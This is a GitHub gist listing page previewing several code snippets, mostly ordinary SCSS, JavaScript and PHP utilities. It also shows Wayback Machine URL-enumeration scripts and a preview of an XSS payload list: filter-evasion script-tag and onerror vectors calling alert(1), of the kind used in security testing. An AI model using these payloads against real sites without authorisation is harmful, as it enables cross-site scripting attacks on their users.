Skip to content

Instantly share code, notes, and snippets.

View jpgninja's full-sized avatar
🎯
Got a ton of interesting projects going on, and loving it.

Chris Mewhort jpgninja

🎯
Got a ton of interesting projects going on, and loving it.
View GitHub Profile
@Snarp
Snarp / google-docs-copy.js
Last active May 10, 2024 19:41
Script to allow copying from a protected Google Doc
/*
<https://stackoverflow.com/questions/40296831/is-it-possible-to-force-a-copy-of-a-protected-google-doc>
NOTE - 2021-05-24
-----------------
The script below isn't the fastest way to copy-and-paste from a protected
Google Doc. Before trying it, I'd suggest following MikoFrosty's advice from
the comments:
import requests
import sys
import json
def waybackurls(host, with_subs):
if with_subs:
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
else:
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
import requests
import re
import sys
from multiprocessing.dummy import Pool
def robots(host):
r = requests.get(
'https://web.archive.org/cdx/search/cdx\
?url=%s/robots.txt&output=json&fl=timestamp,original&filter=statuscode:200&collapse=digest' % host)
@mixin for-phone-only {
@media (max-width: 599px) { @content; }
}
@mixin for-tablet-portrait-up {
@media (min-width: 600px) { @content; }
}
@mixin for-tablet-landscape-up {
@media (min-width: 900px) { @content; }
}
@mixin for-desktop-up {
@telekosmos
telekosmos / uniq.js
Last active November 15, 2022 17:13
Remove duplicates from js array (ES5/ES6)
var uniqueArray = function(arrArg) {
return arrArg.filter(function(elem, pos,arr) {
return arr.indexOf(elem) == pos;
});
};
var uniqEs6 = (arrArg) => {
return arrArg.filter((elem, pos, arr) => {
return arr.indexOf(elem) == pos;
});
@jhubert
jhubert / demorequest.php
Created April 15, 2015 03:01
A very rough PHP script for posting form data via slack
<?php
$slack_domain = '';
$slack_token = '';
if ( isset($_POST['email']) && isset($_POST['name']) && filter_var($_POST['email'], FILTER_VALIDATE_EMAIL) ) {
$message = "Someone wants a demo!\n\n" .
"Name: " . $_POST['name'] . "\n" .
"Company: " . $_POST['company'] . "\n" .
"Email: " . $_POST['email'] . "\n" .
@tamarazuk
tamarazuk / woocommerce-csv-export-separate-item-meta.php
Last active August 31, 2018 04:42
Customer/Order CSV Export: Separate item meta into multiple columns in the Default – One Row per Item format
<?php // only copy this line if needed
/**
* The use of this snippet requires at least WooCommerce 3.2
*/
/**
* Alter the column headers for the orders CSV to split item_meta into separate columns
*
* Note that this change is only applied to the Default - One Row per Item format
@davidpett
davidpett / _ease.scss
Last active December 13, 2023 22:49
Easing Equations as SCSS variables
/*
* Easing Equations ported to CSS by @matthewlein - http://matthewlein.com/ceaser/
* Converted to SCSS vars by @pettpett
*
* sample usage:
* a {
* color: #ff0000;
* transition: color 0.5s $easeOutQuint;
* &:hover,
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@antsa
antsa / placeholder.scss
Created March 23, 2012 12:00
Placeholder mixin for Sass
// Placeholder @mixin for Sass
//
// A mixin to style placeholders in HTML5 form elements.
// Includes also a .placeholder class to be used with a polyfill e.g.
// https://github.com/mathiasbynens/jquery-placeholder
// Requires Sass 3.2.
//
// Example usage (.scss):
//
// input {